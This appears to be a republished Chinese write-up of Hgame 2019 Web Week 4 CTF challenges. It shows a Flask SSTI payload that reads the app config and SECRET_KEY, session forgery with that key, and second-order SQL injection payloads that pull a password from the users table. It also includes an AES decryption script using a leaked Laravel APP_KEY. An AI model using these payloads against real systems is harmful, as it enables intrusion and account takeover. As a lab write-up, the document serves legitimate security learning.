概述
前言
最近利用空余时间做了一下Hgame,以下是部分web题题解。
happyPython
信息搜集
发现是flask,随手测试一下。http://118.25.18.223:3001/{{1+1}}
发现可能存在SSTI,打了几发payload,发现都是500,想到测试一下过滤。http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D
发现将()替换成了空。
SECRET_KEY获取
那么执行命令应该变得非常困难,但是网站有登录,注册功能。
随手解了一下session。
猜测可能要伪造user_id=1
那么不能执行命令,我们可以进行信息读取,获得SECRET_KEY。
探测了一下过滤,发现url_for还存在。http://118.25.18.223:3001/%7B%7Burl_for%7D%7D
进一步了解一下。url_for.__globals__
发现已经是,继续深入一下,读config。url_for.__globals__['current_app'].config
得到回显
发现'SECRET_KEY': '9RxdzNwq7!nOoK3*'
session伪造
我们进行session伪造。{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}
这里直接改user_id不行,本以为有csrf_token,我们需得到下一次csrf_token再伪造。
此时解密可以得到当前csrf_token。
进行伪造flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"
但是发现仍然不行,这里尝试Python3,发现成功。
得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。
happyPHP
信息搜集
F12发现源代码有信息泄露。
下载源码后直接搜索flag。
发现需要变成id=1的用户才会得到flag。
二次注入
同时发现高危操作。$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
没有经过过滤,直接拼接name。
容易想到二次注入,这里注册用户。1' or 'a'='a
得到结果
发现可以注入,思考需要注入的value。
这里我直接认为注入id=1用户的密码是没有作用的(后来发现就是注密码= =),我们发现这里的密码已加密。$user = User::create([
'name' => $request->name,
'email' => $request->email,
'password' => encrypt($request->password),
]);
我们观察到数据库信息public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token');
$table->timestamp('created_at')->nullable();
});
}
发现存在更改密码的table,那么我本以为这里还是和护网杯的一道题如出一辙,注入出id=1用户的token,更改其密码即可。
随即尝试二次注入,寻找回显点(这里不按照给我们的table字段个数和顺序来,因为上次护网杯被坑过= =,还是自己尝试靠谱)
尝试skysky' order by 1#
发现正常。
尝试skysky' order by 2#
发现500,于是确定只有1列(泄露果然不靠谱)构造。-1' union select 1#
那么注入password_resets表email和token字段即可。-1' union select (select email from password_resets)#
结果又500了,出题人给的信息真的一点不能信= =,那么干脆直接注一下users表看看。
直接注密码尝试。-1' union select (select password from users limit 0,1)#
得到eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
解码得到{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR/4fldOGP1G/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}
password解密
到这我才发现前面的密码加密和护网杯那次不一样……容易非常多,也根本不存在password_reset,我说怎么路由里没看见改密码的。= =
那么继续寻找解密方式。
发现没有key,这里需要回滚git。
得到APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=
于是我们已经有$key='9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
$iv='rnVrqfCvfJgnvSTi9z7KLw=='
$c='EaR/4fldOGP1G/aDK8e8u1Aldmxl+yB3s+kBAaoPods='
解密import base64
from Crypto.Cipher import AES
def decrypt( enc ):
enc = base64.b64decode(enc)
iv = base64.b64decode('rnVrqfCvfJgnvSTi9z7KLw==')
cipher = AES.new(base64.b64decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='), AES.MODE_CBC, iv )
return cipher.decrypt( enc )
print decrypt('EaR/4fldOGP1G/aDK8e8u1Aldmxl+yB3s+kBAaoPods=')
得到密码9pqfPIer0Ir9UUfR
getflag
那么只差账号email了。
我们再去注入-1' union select (select email from users wh ere id=1)#
登录admin@hgame.com
9pqfPIer0Ir9UUfR
得到flaghgame{2ba146cf-b11c-4512-839f-e1fbf5e759c9}
HappyXss
这题比较简单,测试发现被过滤,则会被替换成Happy!
由于过滤较多,fuzz一下过滤,容易发现残留。这里选择用ascii码拼接的方式bypass:
(注:这里vps_ip我用127.0.0.1代替)
得到flaghgame{Xss_1s_Re@llY_Haaaaaappy!!!}
最后
以上就是怕黑时光为你收集整理的php talk99,CTF题目实战:2019-Hgame-Web-Week4 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...的全部内容,希望文章能够帮你解决php talk99,CTF题目实战:2019-Hgame-Web-Week4 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复